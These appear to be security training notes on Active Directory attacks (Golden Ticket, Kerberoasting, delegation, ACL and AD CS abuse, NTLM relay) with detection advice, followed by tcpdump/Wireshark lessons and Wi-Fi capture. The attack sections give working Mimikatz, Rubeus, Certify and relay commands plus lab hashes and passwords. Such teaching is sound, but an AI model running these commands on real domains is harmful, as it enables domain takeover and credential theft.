Additionally, advanced threat agents specify values for the /renewmax and /endin arguments to avoid detection:
/renewmax: The maximum number of days the ticket can be renewed./endin: End-of-life for the ticket.
Step 1: Obtain krbtgt Hash and SID
Using DCSync with Rocky’s account to obtain the hash:
mimikatz # lsadump::dcsync /domain:eagle.local /user:krbtgt
SAM Username: krbtgt
Hash NTLM: db0d0630064747072a7da3f7c3b4069e
SID: S-1-5-21-1518138621-4282902758-752445584
Step 2: Create Golden Ticket
Run Mimikatz with the kerberos::golden command:
mimikatz # kerberos::golden /domain:eagle.local /sid:S-1-5-21-1518138621-4282902758-752445584 /rc4:db0d0630064747072a7da3f7c3b4069e /user:Administrator /id:500 /renewmax:7 /endin:8 /ptt
Verifying with klist:
C:\\Mimikatz>klist
Prevention
Preventing forged tickets is challenging, but some preventive steps include:
- Block privileged users from authenticating to any device.
- Periodically reset the
krbtgtpassword. - Enforce
SIDHistoryfiltering to prevent cross-domain escalation.
Detection
Correlate users’ behavior to detect abuse of forged tickets, especially looking for:
- Events with ID 4624 and 4625 for suspicious logons.
- TGS requests without a prior TGT, indicating a potential Golden Ticket.
- If
SIDHistoryfiltering is enabled, monitor for event ID 4675 for cross-domain escalation.
Note
If an AD forest is compromised, reset all users’ passwords, revoke certificates, and reset krbtgt’s password twice to clear any old passwords, with each reset at least 10 hours apart.
[Download the Golden_Ticket.md file](sandbox:/mnt/data/Golden_Ticket.md)
Kerberoasting
Description
In Active Directory (AD), a Service Principal Name (SPN) is a unique identifier for service instances. SPNs allow Kerberos to authenticate clients to services without needing the service’s account name. When a Kerberos TGS service ticket is requested, it’s encrypted with the service account’s NTLM hash.
Kerberoasting is a post-exploitation attack where attackers obtain a service ticket and perform offline password cracking on it. If successful, they can retrieve the service account password. Attack success hinges on the strength of the service account’s password and the encryption algorithm used:
- AES (strongest but slow to crack)
- RC4 (commonly vulnerable)
- DES (rarely used, only in very old environments)
Despite security recommendations to disable RC4 and DES, they are often still in use, making Kerberoasting a viable attack.
Attack Path
- Extracting Crackable Tickets: Using tools like Rubeus, tickets for all users with SPNs can be obtained:
PS C:\\Users\\bob\\Downloads> .\\Rubeus.exe kerberoast /outfile:spn.txtThis will save extracted TGS hashes for each SPN user to
spn.txt. - Cracking Tickets: The TGS hashes are then moved to a cracking tool (e.g., hashcat on Kali Linux).
hashcat -m 13100 -a 0 spn.txt passwords.txt --outfile="cracked.txt"- Hashcat Mode 13100: Specifically for Kerberoastable TGS hashes.
- Password Cracking: Utilizes a dictionary file (e.g.,
passwords.txt) to identify weak passwords.
- View Results: Successfully cracked tickets reveal the service account password in plain text.
cat cracked.txt
Prevention
The attack’s success largely depends on weak service account passwords. To protect against Kerberoasting:
- Use Strong Passwords: Set long, random passwords (100+ characters).
- Limit SPN Accounts: Only assign SPNs where necessary and disable unused SPNs.
- Group Managed Service Accounts (GMSA): Automatically managed and periodically rotated passwords.
Detection
Kerberoasting leaves a footprint in Windows Event Log ID 4769, generated on TGS requests. Although monitoring every Event ID 4769 might be overwhelming, specific patterns can signal suspicious activity:
- Alert on RC4 Tickets: If the environment only uses AES, flag Event ID 4769 with RC4 ticket requests.
- High Volume of TGS Requests: Monitor for unusually high numbers of TGS requests from a single user/machine.
- Honeypot Accounts: Configure a honeypot user account with no valid role but set privileges, ensuring it’s old and has an SPN. Any TGS request for this account is likely malicious.
Honeypot Account Configuration
- Old User with Privileges: Choose an account unused for 2+ years.
- Strong Password: Ensure it’s uncrackable.
- SPN Registration: Assign an SPN typical for production services (e.g., IIS or SQL).
Example honeypot setup:
- User:
svc-iamwith SPN but not actively used.
Caution
Implementing honeypots for every detection type can expose a pattern to attackers. Choose detections that best suit the environment, balancing security and stealth.
Kerberos Constrained Delegation
Description
Kerberos Delegation allows an application to access resources hosted on a different server without directly assigning access to the service account. For instance, a web server service account can be delegated to access SQL server service, enabling user access to the database content they are provisioned for without direct database access.
Types of Delegation in Active Directory
- Unconstrained Delegation - Most permissive, allows delegation to any service.
- Constrained Delegation - Configures user properties to limit services they can delegate to.
- Resource-based Delegation - Configured within the computer object for selective trust, less common in production.
Security Consideration: Any type of delegation can pose security risks and should be avoided unless necessary.
Attack
The example focuses on abusing constrained delegation. When an account is trusted for delegation, it can request Kerberos tickets for other services.
Example Steps:
- Identify Accounts with Constrained Delegation ```` PS C:\\Users\\bob\\Downloads> Get-NetUser -TrustedToAuth
Example Output:
distinguishedname : CN=web service,CN=Users,DC=eagle,DC=local
msds-allowedtodelegateto : {http/DC1.eagle.local/eagle.local, http/DC1.eagle.local}
useraccountcontrol : TRUSTED_TO_AUTH_FOR_DELEGATION
- Hash the Password using Rubeus for the compromised account password
Slavi123.PS C:\\\\Users\\\\bob\\\\Downloads> .\\\\Rubeus.exe hash /password:Slavi123Example Output:
rc4_hmac : FCDC65703DD2B0BD789977F1F3EEAECF - Request Kerberos Ticket for the
Administratoraccount using Rubeus.PS C:\\\\Users\\\\bob\\\\Downloads> .\\\\Rubeus.exe s4u /user:webservice /rc4:FCDC65703DD2B0BD789977F1F3EEAECF /domain:eagle.local /impersonateuser:Administrator /msdsspn:"http/dc1" /dc:dc1.eagle.local /ptt - Verify Ticket Injection with
klist.PS C:\\\\Users\\\\bob\\\\Downloads> klist - Connect to Domain Controller.
PS C:\\\\Users\\\\bob\\\\Downloads> Enter-PSSession dc1
Prevention
- Set privileged users with the property Account is sensitive and cannot be delegated.
- Add privileged users to the Protected Users group, which applies enhanced security against delegation.
Password Security: Use cryptographically secure passwords to avoid Kerberoasting attacks.
Detection
- Correlate users’ behavior
- Monitor events with ID 4624 (successful logon)
- Check Transited Services attribute in event logs for S4U logon process
Object_ACLs_in Active Directory
Description
In Active Directory (AD), Access Control Lists (ACLs) determine who can access specific objects and the type of access they have. Each ACL has multiple Access Control Entries (ACEs) that define the trustee and access type. ACLs are critical not only for access control but also for auditing attempts on securable objects in AD. Examples of ACL delegations include allowing non-admin users specific privileges, like resetting passwords or modifying group memberships.
In practical AD environments, misconfigurations in ACLs are common and may include:
- Domain users with Administrator access to servers.
- Overly permissive permissions, allowing “Everyone” full rights.
- Domain users having access to computer extended properties, such as LAPS passwords.
Attack: Identifying Abusable ACLs
Tools like BloodHound and SharpHound can help visualize relationships and identify potential ACL misconfigurations. For instance:
.\\SharpHound.exe -c All
The scan results (ZIP file) from SharpHound can be analyzed in BloodHound to discover escalation paths. Focusing on user “Bob” reveals that:
- Full Rights over User Anni: Bob can modify Anni’s attributes (e.g., adding an SPN for Kerberoasting or resetting her password).
- Control over Server01: Bob can retrieve the local administrator password or leverage Resource-Based Kerberos Delegation, especially since Server01 is trusted for Unconstrained Delegation.
ADACLScanner is another tool that can help generate DACL and SACL reports to detect similar issues.
Prevention
- Continuous Assessment: Regularly review AD for misconfigurations and abusable ACLs.
- Privilege Education: Train privileged users on best practices to prevent accidental privilege delegation.
- Automate Access Management: Streamline access assignments and restrict privilege modifications to reduce the risk of unintended access rights.
Detection
Several events can indicate ACL abuse:
- Event ID 4738 (“A user account was changed”): Logs when a user is modified, but without details (e.g., SPN additions).
- Event ID 4724: Captures password reset events, potentially after ACL abuse.
- Event ID 4742: Logs when a computer object is modified, useful for detecting suspicious changes on servers.
Naming conventions for privileged users (e.g., “adminxxxx”) can also help identify unauthorized modifications by non-privileged users.
Honeypot Strategy
Misconfigured ACLs can also act as a detection mechanism:
- High ACL Assignment to Honeypot Accounts: Assign high permissions to honeypot accounts with exposed credentials to lure attackers.
- Modifiable Honeypot User: Allow general users to modify a designated honeypot account. Any activity involving this account (e.g., event ID 4738) should trigger alerts.
An example detection mechanism could involve monitoring changes to Anni’s account by Bob. Any suspicious modification by Bob to Anni’s account or Server01 can trigger alerts and initiate forensic investigations if suspicious activity is confirmed.
Note: Implementing detection mechanisms, especially for honeypots, helps maintain visibility over unauthorized changes and can preemptively alert security teams to potential privilege escalation attempts.
PKI_ESC1
Description
The Certified Pre-Owned research paper by SpectreOps highlighted Active Directory Certificate Services (AD CS) as a popular attack vector due to its common misconfigurations. Certificates are highly advantageous for attackers because:
- Certificates are valid long-term, often for a year or more.
- User password resets don’t invalidate certificates.
- Misconfigured templates allow attackers to obtain certificates for other users.
- Compromising a Certificate Authority (CA) private key enables forging “Golden Certificates.”
One notable privilege escalation attack method is ESC1, which involves:
- No issuance requirements.
- Enrollable client authentication/smart card logon OID templates.
- The
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTflag.
Attack Execution: ESC1 Example
- Scan for Vulnerabilities with Certify:
.\\Certify.exe find /vulnerableThe output will identify vulnerable certificate templates. Here, UserCert is identified as vulnerable due to:
- Accessible by all domain users.
- Allows requester-supplied SAN (allows impersonating other users).
- No manager approval required.
- Supports client authentication for login.
- Abuse the Template by requesting a certificate for the “Administrator” user:
.\\Certify.exe request /ca:PKI.eagle.local\\eagle-PKI-CA /template:UserCert /altname:AdministratorThis generates a PEM-format certificate, which can be converted to PFX for compatibility with tools like Rubeus.
- Convert PEM to PFX:
sed -i 's/\\s\\s\\+/\\n/g' cert.pem openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - Use Rubeus to Request a TGT for the Administrator account:
.\\Rubeus.exe asktgt /domain:eagle.local /user:Administrator /certificate:cert.pfx /dc:dc1.eagle.local /pttSuccessful authentication as the Administrator will allow access to resources on DC1, such as listing contents of
\\\\dc1\\c$.
Prevention
Preventing the ESC1 attack involves:
- Disabling
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTin certificate templates. - Enforcing CA certificate manager approval for certificate issuance to ensure only legitimate requests are approved.
Regular PKI environment scans with Certify or similar tools are recommended to identify and mitigate PKI misconfigurations.
Detection
- Event IDs 4886 and 4887: AD logs events for certificate requests (4886) and certificate issuance (4887). These logs indicate certificate issuance activity but do not specify SAN values.
- Listing Issued Certificates: Checking the CA’s issued certificate list can reveal certificates issued with the vulnerable template, although SAN details require manual review.
- Event ID 4768: Logs the TGT request when the certificate is used for authentication.
To automate detection, use certutil:
certutil -view
Example to find logs programmatically:
$events = Get-WinEvent -FilterHashtable @{Logname='Security'; ID='4886'}
$events[0] | Format-List -Property *
Remote Session Monitoring
If direct GUI access is unavailable, use PSSession to access the PKI machine and query for certificate issuance events:
New-PSSession -ComputerName PKI
Enter-PSSession -ComputerName PKI
Get-WinEvent -FilterHashtable @{Logname='Security'; ID='4886'}
Get-WinEvent -FilterHashtable @{Logname='Security'; ID='4887'}
Note: Monitoring and auditing PKI activities for unauthorized certificate issuance is critical to maintaining a secure AD CS environment.
Print_Spooler&NTLM_Relaying
Description
The Print Spooler is an old service, enabled by default even in the latest Windows Desktop and Server versions. This service became a popular attack vector after the discovery of the “PrinterBug” by Lee Christensen in 2018. The functions RpcRemoteFindFirstPrinterChangeNotification and RpcRemoteFindFirstPrinterChangeNotificationEx can be exploited to make a remote machine connect to any reachable device, carrying authentication info in the form of a TGT. Microsoft deemed this bug a “by-design” issue and has not issued a fix.
Impact
If a Domain Controller (DC) with the Print Spooler enabled is compromised, the attacker can:
- Relay the connection to another DC and perform DCSync if SMB Signing is disabled.
- Force the DC to connect to a machine configured for Unconstrained Delegation (UD), caching the TGT in the UD server’s memory, which tools like Rubeus and Mimikatz can capture.
- Relay the connection to Active Directory Certificate Services, allowing threat agents to obtain a certificate for the DC, usable for authenticating as the DC (e.g., DCSync).
- Configure Resource-Based Kerberos Delegation for the relayed machine, enabling abuse to authenticate as any Administrator on that machine.
Attack Methodology
In this scenario, we’ll relay the DC connection to another DC and perform DCSync, provided SMB Signing is off on Domain Controllers.
Step-by-Step Attack Execution
- Configure NTLMRelayx to forward connections to DC2 and attempt DCSync:
impacket-ntlmrelayx -t dcsync://172.16.18.4 -smb2supportSample Output:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Protocol Client SMTP loaded.. [*] Protocol Client LDAP loaded.. ... [*] Servers started, waiting for connections - Trigger the PrinterBug using Dementor, with NTLMRelayx listening:
python3 ./dementor.py 172.16.18.20 172.16.18.3 -u bob -d eagle.local -p Slavi123Sample Output:
[*] connecting to 172.16.18.3 [*] bound to spoolss [*] getting context handle... ... [-] exception RPRN SessionError: code: 0x6ab - RPC_S_INVALID_NET_ADDR - The network address is invalid. - Check NTLMRelayx for DCSync Success - Hashes should appear in the NTLMRelayx terminal.
Prevention
- Disable Print Spooler on all non-printing servers, especially on Domain Controllers.
- Registry Key Setting: Use
RegisterSpoolerRemoteRpcEndPointto block remote requests:- Set to
1to enable. - Set to
2to disable remote access.
- Set to
Detection
Exploiting PrinterBug leaves traces of network connections to the DC, though these are too generic for reliable detection.
- Log Correlation: Track all logon attempts from core infrastructure servers by IP address. When NTLMRelayx performs DCSync, no event ID 4662 is generated, but there will be a successful logon event from the IP address of the attacking machine.
Honeypot Strategy
Using the PrinterBug as a honeypot can alert on suspicious activity by:
- Blocking outbound connections on ports 139 and 445 from servers, which will alert blue teams on compromised reverse connections.
- Considerations: Ensure proper log monitoring and be prepared to respond quickly, especially if any new vulnerabilities allowing RCE without reverse connection arise.
Note: Implement honeypot measures only if the organization is mature enough to act promptly on alerts.
6. Intro to Network Traffic Analysis
Decrypting RDP Connections
| Task | Description | Command/Details |
|---|---|---|
| Task 1: Open RDP PCAP in Wireshark | Unzip RDP-analysis.zip and open the rdp.pcapng file in Wireshark. |
Extract the file, then open rdp.pcapng in Wireshark. |
| Task 2: Initial RDP Traffic Analysis | Apply an RDP filter to identify RDP traffic within the capture. | RDP Filter: rdpVerify Port 3389: tcp.port == 3389 |
| Task 3: Add Decryption Key in Wireshark | Use the RDP key found on Bob’s host to decrypt RDP traffic in Wireshark. | Steps:1. Go to Edit → Preferences → Protocols → TLS.2. Click Edit under RSA keys list and add new entry:- IP: 10.129.43.29- Port: 3389- Protocol: tpkt or blank- Key File: Browse and add the server.key file.3. Save and refresh the pcap file. |
| Task 4: Decrypted RDP Traffic Analysis | Reapply the RDP filter after decryption to view and analyze unencrypted RDP traffic. | Filter: rdp (or follow TCP streams to examine data further) |
| Questions | ||
| Initiating Host IP | Identify the IP address of the host initiating the RDP session. | Answer: Check the IP in the first packet (#8) of the three-way handshake. Host initiating connection: 10.129.43.27 |
| Username Used | Examine RDP traffic for user credentials, often visible in ASCII within an “Ignored Unknown Record” entry when filtered by tcp.port == 3389. |
Answer: Use ASCII details in “Ignored Unknown Record” entry to view username. |
| Summary | Wireshark’s ability to decrypt and analyze captured RDP traffic, given an RSA key, demonstrates its power in forensic analysis and incident response. | Key Insight: With an encryption key, Wireshark can decrypt various encrypted protocols (e.g., RDP) to facilitate in-depth packet analysis for IR purposes. |
Interrogating Network Traffic With Capture and Display Filters
Lab Objectives
- Practice filtering captured network traffic to extract meaningful data.
- Identify servers answering DNS and HTTP/S requests.
- Analyze traffic patterns and connections.
| Task | Description | Command/Details |
|---|---|---|
| Task 1: Read a Capture File Without Filters | Begin by examining the .pcap file without applying any filters. |
tcpdump -r (file.pcap) |
| Task 2: Identify Traffic Types | Examine the traffic to identify protocols and ports. | - Common Protocols: DNS, HTTP, HTTPS- Ports Utilized: 53 (DNS), 80 (HTTP), 443 (HTTPS) |
| Task 3: Identify Conversations and Patterns | Analyze for patterns between servers and hosts. | - Patterns: Connections between server and host- Three-Way Handshake: Note client/server ports- Servers: Communicate over well-known ports- Receiving Hosts: Use high random ports- Command with Absolute Sequence Numbers: tcpdump -S -r (file.pcap) |
| Task 4: In-Depth Capture Analysis | Answer questions on timestamps, DNS responses, and protocols. | - First Conversation Timestamp: Look for first TCP handshake (SYN/SYN-ACK/ACK)- DNS Server Response: IP for apache.org- Protocol: Identify via port numbers- Example Commands: tcpdump -r (file.pcap) -nntcpdump -r (file.pcap) src host [host-name] |
| Task 5: Filter Out Non-DNS Traffic | Filter to isolate DNS traffic for analysis on domain names and DNS records. | - Filter for DNS Traffic: sudo tcpdump -r (file.pcap) udp and port 53- Hex and ASCII Output: tcpdump -X -r (file.pcap) |
| Task 6: Filter for TCP (HTTP/HTTPS) Traffic | Isolate HTTP/HTTPS traffic to identify web servers and analyze HTTP requests. | - Filter Command: tcpdump -r (file.pcap) 'port 80 or port 443'- Analyze Requests: Identify common HTTP methods (e.g., GET, POST) and response codes |
| Task 7: Analyze First Conversation Server | Examine the server in the first conversation for application or server type details. | - Command with Hex and ASCII Output: tcpdump -X -r (file.pcap)- Check Server Response: Look for clues in the HTTP response data for application/server information |
Analysis Tips
Consider these questions to guide your analysis:
- What types of traffic are present (protocols, ports)?
- How many unique conversations and hosts?
- What is the timestamp of the first TCP conversation?
- How can traffic be filtered to simplify analysis?
- Which servers are responding on well-known ports?
- What types of DNS records and HTTP methods are used?
Packet Inception, Dissecting Network Traffic With Wireshark
| Task | Description | Steps |
|---|---|---|
| Task #1: Open PCAP | Open a pre-captured file to analyze HTTP traffic. | 1. Open Wireshark.2. Select File → Open and browse to Wireshark-lab-2.pcap.3. Open the file to display all traffic in the capture. |
| Task #2: Filter HTTP Traffic | Apply a filter to focus only on HTTP (port 80) traffic, helping identify HTTP requests and responses, especially 200 OK responses indicating file transfers. |
1. In the Display Filter toolbar, type http.2. Ensure the filter bar lights up green, indicating correct syntax.3. Review the HTTP traffic, looking for GET requests and 200 OK responses. This shows files being requested and successfully sent. |
| Task #3: Follow TCP Stream | Select an HTTP packet with 200 OK and follow the stream to verify the data transfer. |
1. Choose an HTTP packet with 200 OK in the Info field.2. Right-click and select Follow → TCP Stream.3. A new window shows the full stream; Wireshark automatically applies tcp.stream eq # to filter that conversation. Validate that the file transfer happened in this stream. |
| Task #4: Filter for JFIF Images | Check for JPEG images in the HTTP traffic by filtering for JFIF format, commonly used in JPEG images, to locate any embedded image files in the data transfer. | 1. Clear previous filters.2. Type http && image-jfif in the Display Filter toolbar to focus on HTTP packets with JFIF content.3. This filter should reveal only packets containing JPEG image files, simplifying the view to a few relevant packets. |
| Task #5: Export Images | Export the identified image files from the HTTP traffic for further examination. | 1. Select File → Export Objects → HTTP.2. Locate and save the relevant image file(s) (e.g., file.JPG).3. Save the file locally to complete the extraction. These images can now be reviewed for any hidden or suspicious data requested by the security manager. |
Tcpdump Fundamentals
Introduction to Tcpdump
Tcpdump is a command-line packet sniffer that captures and interprets data frames from network interfaces. Available on Unix-based systems, Tcpdump can capture packets from the network “off the wire” and is widely used for traffic analysis, troubleshooting, and forensic purposes. It requires root privileges to access hardware and run effectively, typically via sudo. Windows users can use WinDump or run a Linux distribution in WSL to leverage Tcpdump on Windows.
Basic Capture Options
Tcpdump provides many switches to modify captures. Here are key options:
| Switch | Description |
|---|---|
-D |
Display available interfaces. |
-i |
Select an interface to capture from, e.g., -i eth0. |
-n |
Do not resolve hostnames. |
-nn |
Do not resolve hostnames or port names. |
-e |
Include Ethernet header in the output. |
-X |
Show packet contents in hex and ASCII. |
-v, -vv, -vvv |
Increase verbosity level. |
-c |
Capture a specific number of packets then exit. |
-s |
Specify the packet capture length. |
-S |
Show absolute sequence numbers. |
-q |
Print minimal protocol info. |
-r |
Read from a file. |
-w |
Write to a file. |
Display Available Interfaces
sudo tcpdump -D
Capture Traffic on a Specific Interface
sudo tcpdump -i eth0
Disable Host and Port Resolution
sudo tcpdump -i eth0 -nn
Include Ethernet Header in Capture
sudo tcpdump -i eth0 -e
Show Hex and ASCII Output
sudo tcpdump -i eth0 -X
Combine Multiple Options
sudo tcpdump -i eth0 -nnvXX
Tcpdump Output Breakdown
Tcpdump output can include various fields:
| Field | Description |
|---|---|
| Timestamp | Shows time of capture. |
| Protocol | Upper-layer protocol (e.g., IP). |
| Source & Destination IP/Port | Shows the connection path and ports. |
| Flags | Displays any TCP flags used. |
| Sequence & Ack Numbers | Used to track TCP segments. |
| Protocol Options | TCP options like window size, SACK, etc. |
File Input/Output with Tcpdump
Save Captures to a File
sudo tcpdump -i eth0 -w ~/output.pcap
Read Captures from a File
sudo tcpdump -r ~/output.pcap
To increase detail when reading from a file, add relevant switches.
Advanced Tcpdump Use
Tcpdump can act as a basic IDS by using filters in a script to detect specific patterns, such as repeated ICMP requests from a single IP, and can then trigger automated responses.
Tcpdump Packet Filtering
Using advanced filtering options allows us to reduce the amount of traffic printed to output or written to disk, thereby saving space and speeding up data processing. Filters can be paired with standard tcpdump syntax to capture broadly or narrow down to specific hosts or TCP flags. Advanced filters enable tailored captures.
Helpful Tcpdump Filters
| Filter | Result |
|---|---|
host |
Filters visible traffic to show anything involving the designated host (bi-directional). |
src/dest |
Designate source or destination host or port. |
net |
Filters traffic from or to the specified network using / notation. |
proto |
Filters for a specific protocol (e.g., ether, TCP, UDP, ICMP). |
port |
Filters any traffic with the specified port as source or destination. |
portrange |
Allows filtering by port range (e.g., 0-1024). |
less/greater |
Filters packets based on size. |
and/&& |
Combines filters, showing packets that meet both conditions. |
or |
Matches any of two conditions. |
not |
Negates a condition, e.g., not UDP shows non-UDP traffic. |
Examples of Common Filters
- Host Filter
sudo tcpdump -i eth0 host 172.16.146.2 - Source/Destination Filter
sudo tcpdump -i eth0 src host 172.16.146.2 - Source Port Filter
sudo tcpdump -i eth0 tcp src port 80 - Destination Net Filter
sudo tcpdump -i eth0 dest net 172.16.146.0/24 - Protocol Filter by Name
sudo tcpdump -i eth0 udp - Protocol Filter by Number
sudo tcpdump -i eth0 proto 17 - Port Filter
sudo tcpdump -i eth0 tcp port 443 - Port Range Filter
sudo tcpdump -i eth0 portrange 0-1024 - Less/Greater Filter
sudo tcpdump -i eth0 less 64 - Greater Filter for Packets Over 500 Bytes
sudo tcpdump -i eth0 greater 500
Combining Filters withANDandOR
- AND Filter Example
sudo tcpdump -i eth0 host 192.168.0.1 and port 23 - OR Filter Example
sudo tcpdump -r sus.pcap icmp or host 172.16.146.1 - NOT Filter Example
sudo tcpdump -r sus.pcap not icmp
Pre-Capture vs. Post-Capture Processing
Applying filters during capture omits unmatched traffic, reducing data volume but risking the loss of potentially valuable information. Filtering during post-capture analysis parses the capture file, displaying only packets that meet the filter criteria without altering the original file.
Interpreting Tips and Tricks
- Absolute Sequence Numbers: Use
Sto display them for detailed tracking. - Verbose Output: Use
v,X, andefor capturing more data. - Selective Display: Options like
c,n,s,S, andqhelp modify displayed data. - ASCII Display: Use
Ato show only ASCII text, useful for human-readable output.
ASCII Mode with-A
sudo tcpdump -Ar telnet.pcap
Piping Output to Grep
sudo tcpdump -Ar http.cap -l | grep 'mailto:*'
This method filters output to quickly search for specific terms or patterns within the capture.
Advanced Packet Filtering Using TCP Flags
tcpdump -i eth0 'tcp[13] &2 != 0'
This command checks if the SYN flag in the TCP header is set.
Protocol RFC Links
| Protocol | RFC |
|---|---|
| IP Protocol | RFC 791 |
| ICMP Protocol | RFC 792 |
| TCP Protocol | RFC 793 |
| UDP Protocol | RFC 768 |
| RFC Quick Links | Wikipedia RFC Links |
Traffic Analysis Workflow
| Task | Description | Command/Details |
|---|---|---|
| Connect to Live Host | Connect to the Academy lab environment using XfreeRDP for GUI access to Wireshark. | xfreerdp /v:<target IP> /u:htb-student /p:HTB_@cademy_stdnt! |
| Start Capture on Interface | Begin capturing on interface ENS224 in Wireshark. | Open Wireshark, select interface ENS224, and start capture. |
| Define the Issue | Briefly summarize the issue based on baseline anomalies noticed by admin with IP 172.16.10.90. | Issue: Suspicious activity from IP 172.16.10.90 |
| Define Scope and Goal | Scope: Investigate unusual traffic patterns around host IP 172.16.10.90. | Scope: Check for suspicious connections, identify host actions, focus on the specific time anomaly was observed. |
| Define Target Hosts and Network | Define specific network addresses and protocols for focus in analysis. | Target Host: 172.16.10.90Protocols: TCP, RDP |
| Capture or Analyze Traffic | Perform network capture or analyze PCAP for signs of intrusion. | Read from PCAP (if available): tcpdump -r guided-analysis.zip |
| Filter for Relevant Traffic | Filter out baseline traffic and focus on anything unusual from 172.16.10.90 or uncommon protocols/ports. | Filter for Host: tcpdump -r guided-analysis.zip host 172.16.10.90 |
| Analyze Captured Traffic | Dig through filtered data to find suspicious patterns, commands, or sessions (e.g., unusual ports, RDP sessions). | Look for RDP/Netcat Indicators: e.g., TCP port 3389, Netcat indicators |
| Note Taking and Mapping | Log all findings: Timeframes, hosts, ports, conversations, and specific packet numbers or files of interest. | Document packet numbers, suspicious IPs, timestamps, protocols, and any noted commands or sessions. |
| Summarize Analysis | Summarize findings, detailing any malicious activity, including tools (e.g., Netcat, RDP attempts). | Summary: Actor utilized Netcat and RDP on Bob’s host; IR response recommended to quarantine compromised host. |
Wireshark Advanced Usage
Plugins in Wireshark
Wireshark includes several plugins accessible through the Statistics and Analyze tabs, which provide:
- Detailed reports on network traffic, such as top talkers and specific protocol conversations.
- Tools for tracking TCP streams, filtering conversation types, creating packet filters, and accessing expert insights on network traffic.
Using the Statistics and Analyze Tabs
Statistics Tab
The Statistics tab offers plugins for viewing reports about:
- Protocol breakdowns
- Top IP addresses and talkers
- Conversation types and more
Analyze Tab
The Analyze tab allows users to:
- Follow and track TCP streams
- Filter by conversation types
- Prepare new packet filters
- Examine expert network diagnostics
Following TCP Streams
Wireshark can reconstruct TCP packet streams into readable formats, enabling data extraction (e.g., images, files).
To follow a TCP stream:
- Right-click on a packet from the desired stream.
- Select Follow > TCP Stream.
- A new window opens with the entire conversation in sequence.
Alternatively, apply a filter to view a specific TCP stream:
tcp.stream eq #
Using this filter helps isolate a conversation by displaying only the relevant packets.
Extracting Data and Files from Captures
Wireshark can extract files from captured data streams if the entire conversation is captured. This is helpful when analyzing protocols like FTP (File Transfer Protocol) that transfers files between hosts.
To extract files:
- Stop the capture.
- Go to File > Export and select the desired protocol format (e.g., DICOM, HTTP, SMB).
For FTP, port 20 (data transfer) and port 21 (control commands) are used. Below are some filters to analyze FTP traffic:
Key FTP Filters in Wireshark
| Filter | Purpose |
|---|---|
ftp |
Displays all FTP traffic, helpful to identify FTP activity between hosts. |
ftp.request.command |
Shows FTP commands over port 21, useful for identifying commands like login, listing, download, or upload. Often reveals usernames and file names. |
ftp-data |
Displays data transferred over port 20, enabling file reconstruction by capturing data packets during file transfers. |
Steps to Reconstruct FTP Data from a .pcap
- Identify FTP Traffic: Use the
ftpdisplay filter. - Inspect FTP Commands: Use
ftp.request.commandto see control commands, identify filenames, and check for login details. - Extract Data:
- Use
ftp-datato locate packets for specific file transfers. - Follow the TCP stream for the desired file transfer.
- In the stream view, set Show and save data as to Raw.
- Save the extracted content with the original filename.
- Use
- Verify the File Type: Check the saved file to ensure proper extraction.
These methods provide a structured way to extract meaningful data from a network capture, offering deep insights into network activities, such as file transfers or protocol-specific interactions.
Wireshark for Network Traffic Analysis
TShark vs. Wireshark
TShark is a terminal-based tool with features similar to Wireshark and uses the same filters and syntax. TShark is ideal for command-line environments, while Wireshark offers a rich GUI experience.
Basic TShark Commands
| Command | Description |
|---|---|
-D |
Display available interfaces for capture |
-L |
List link-layer types available |
-i |
Select interface for capture |
-f |
Set packet filter in libpcap syntax |
-c |
Capture a set number of packets, then quit |
-a |
Set an autostop condition (by duration, file size, or packet count) |
-r |
Read from a file |
-W |
Write to file in pcapng format |
-P |
Print packet summary while writing |
-x |
Show hex and ASCII output |
-h |
Display help menu |
To view all options:
tshark -h
Example TShark Commands
- Capture on an interface and save to file:
sudo tshark -i eth0 -w /tmp/test.pcap - Apply filter for specific host:
sudo tshark -i eth0 -f "host 172.16.146.2"
Wireshark GUI Walkthrough
Three Main Panes
- Packet List Pane: Displays each packet’s summary, including order, time, source, destination, protocol, and information.
- Packet Details Pane: Shows protocol details in the OSI Model format. Layers are shown in reverse order (lower to higher).
- Packet Bytes Pane: Shows the packet in ASCII or hex, highlighting selected fields from the Packet Details pane.
Capture Filters
Capture filters, using BPF syntax, limit data written to disk. Some examples:
| Filter | Description |
|---|---|
host x.x.x.x |
Capture traffic for a specific host |
net x.x.x.x/24 |
Capture traffic for a specific network |
port # |
Capture traffic for a specific port |
not port # |
Capture everything except a specific port |
portrange x-x |
Capture traffic within a port range |
broadcast / multicast |
Capture one-to-many or one-to-all traffic |
To view available capture filters:
- Capture menu > Capture Filters.
Display Filters
Display filters can be applied to live or recorded captures and offer a wide range of protocol-based filtering options. Examples include:
| Filter | Description |
|---|---|
ip.addr == x.x.x.x |
Show traffic involving a specific host |
ip.src/dst == x.x.x.x |
Show traffic from/to a specific host |
dns / tcp / arp |
Filter by protocol |
tcp.port == x |
Filter by a specific TCP port |
tcp.port != x |
Exclude traffic from a specific port |
and / or / not |
Combine conditions |
Applying a display filter:
- Enter a filter in the Display Filter field in the Wireshark capture window. A valid filter turns the field green.
Practical Note
Filtering by protocol (like HTTP) may differ from filtering by port (e.g., 80), as protocols often utilize additional identifiers like GET or POST for HTTP traffic.
7. Intermediate Network Traffic Analysis
802.11 Denial of Service
In traffic analysis, it’s critical to scrutinize link-layer protocols. 802.11 (Wi-Fi) attacks, while sometimes overlooked, require continuous monitoring due to potential human errors that might compromise perimeter security.
Capturing 802.11 Traffic
To analyze 802.11 raw traffic, a wireless interface in monitor mode is required. This enables visibility into raw 802.11 frames, similar to promiscuous mode.
- Enumerate Wireless Interfaces (Linux):
iwconfig - Enable Monitor Mode (Option 1:
airmon-ng):sudo airmon-ng start wlan0 - Enable Monitor Mode (Option 2: System utilities):
sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up - Verify Monitor Mode:
iwconfig
To capture traffic, specify the AP’s channel (-c), BSSID (--bssid), and output file (-w) with airodump-ng:
sudo airodump-ng -c 4 --bssid F8:14:FE:4D:E6:F1 wlan0 -w raw
How Deauthentication Attacks Work
Deauthentication/dissociation attacks are common link-layer attacks, often used to:
- Capture WPA handshakes
- Disrupt service
- Force users to connect to malicious networks
Attackers typically spoof 802.11 deauthentication frames from the legitimate AP, tricking clients into disconnecting. Tools like aireplay-ng and mdk4 often use reason code 7 for deauthentication.
Detecting Deauthentication Attacks
